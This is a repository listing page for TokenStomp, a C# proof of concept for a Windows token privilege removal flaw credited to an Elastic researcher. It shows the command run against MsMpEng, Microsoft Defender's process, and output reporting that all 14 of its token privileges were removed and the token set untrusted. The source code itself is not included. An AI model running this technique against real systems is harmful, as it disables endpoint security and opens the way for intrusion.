• Stars
    star
    138
  • Rank 263,620 (Top 6 %)
  • Language
    C#
  • Created over 2 years ago
  • Updated over 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

C# implementation of the token privilege removal flaw discovered by @GabrielLandau/Elastic

TokenStomp

C# POC for the token privilege removal flaw reported by @GabrielLandau at Elastic.

C:\Users\Mrtn>TokenStomp.exe MsMpEng

  ________           β–„β–„β–„β–„β–„β–„β–„ β–„β–„β–„β–„β–„β–„β–„ β–„β–„β–„   β–„ β–„β–„β–„β–„β–„β–„β–„ β–„β–„    β–„ β–„β–„β–„β–„β–„β–„β–„ β–„β–„β–„β–„β–„β–„β–„ β–„β–„β–„β–„β–„β–„β–„ β–„β–„   β–„β–„ β–„β–„β–„β–„β–„β–„β–„
 (____ / <|         β–ˆ       β–ˆ       β–ˆ   β–ˆ β–ˆ β–ˆ       β–ˆ  β–ˆ  β–ˆ β–ˆ       β–ˆ       β–ˆ       β–ˆ  β–ˆβ–„β–ˆ  β–ˆ       β–ˆ
 (___ /  <|         β–ˆβ–„     β–„β–ˆ   β–„   β–ˆ   β–ˆβ–„β–ˆ β–ˆ    β–„β–„β–„β–ˆ   β–ˆβ–„β–ˆ β–ˆ  β–„β–„β–„β–„β–„β–ˆβ–„     β–„β–ˆ   β–„   β–ˆ   β–ˆ   β–ˆ    β–„  β–ˆ
 (__ /   <`-------.   β–ˆ   β–ˆ β–ˆ  β–ˆ β–ˆ  β–ˆ      β–„β–ˆ   β–ˆβ–„β–„β–„β–ˆ       β–ˆ β–ˆβ–„β–„β–„β–„β–„  β–ˆ   β–ˆ β–ˆ  β–ˆ β–ˆ  β–ˆ       β–ˆ   β–ˆβ–„β–ˆ β–ˆ
 /  `.    ^^^^^ |  \  β–ˆ   β–ˆ β–ˆ  β–ˆβ–„β–ˆ  β–ˆ     β–ˆβ–„β–ˆ    β–„β–„β–„β–ˆ  β–„    β–ˆβ–„β–„β–„β–„β–„  β–ˆ β–ˆ   β–ˆ β–ˆ  β–ˆβ–„β–ˆ  β–ˆ  β–„ β–„  β–ˆ    β–„β–„β–„β–ˆ
|     \---------'   | β–ˆ   β–ˆ β–ˆ       β–ˆ    β–„  β–ˆ   β–ˆβ–„β–„β–„β–ˆ β–ˆ β–ˆ   β–ˆβ–„β–„β–„β–„β–„β–ˆ β–ˆ β–ˆ   β–ˆ β–ˆ       β–ˆ β–ˆβ–ˆβ–„β–ˆβ–ˆ β–ˆ   β–ˆ
|______|___________/] β–ˆβ–„β–„β–„β–ˆ β–ˆβ–„β–„β–„β–„β–„β–„β–„β–ˆβ–„β–„β–„β–ˆ β–ˆβ–„β–ˆβ–„β–„β–„β–„β–„β–„β–„β–ˆβ–„β–ˆ  β–ˆβ–„β–„β–ˆβ–„β–„β–„β–„β–„β–„β–„β–ˆ β–ˆβ–„β–„β–„β–ˆ β–ˆβ–„β–„β–„β–„β–„β–„β–„β–ˆβ–„β–ˆ   β–ˆβ–„β–ˆβ–„β–„β–„β–ˆ
[β–„β–„β–„β–„β–„|`-.β–„β–„β–„β–„β–„β–„β–„β–„β–„]               Implemented by @Mrtn9 - Technique by @GabrielLandau

[*] Found MsMpEng with pid 4988
[*] Got handle to process
[*] Successfully opened process token
[*] Got token information
[*] Found 14 privileges in token
[*] Successfully removed 14 of 14 privileges from token
[*] Successfully set token untrusted

C:\Users\Mrtn>

Proof of Concept screenshot

Credits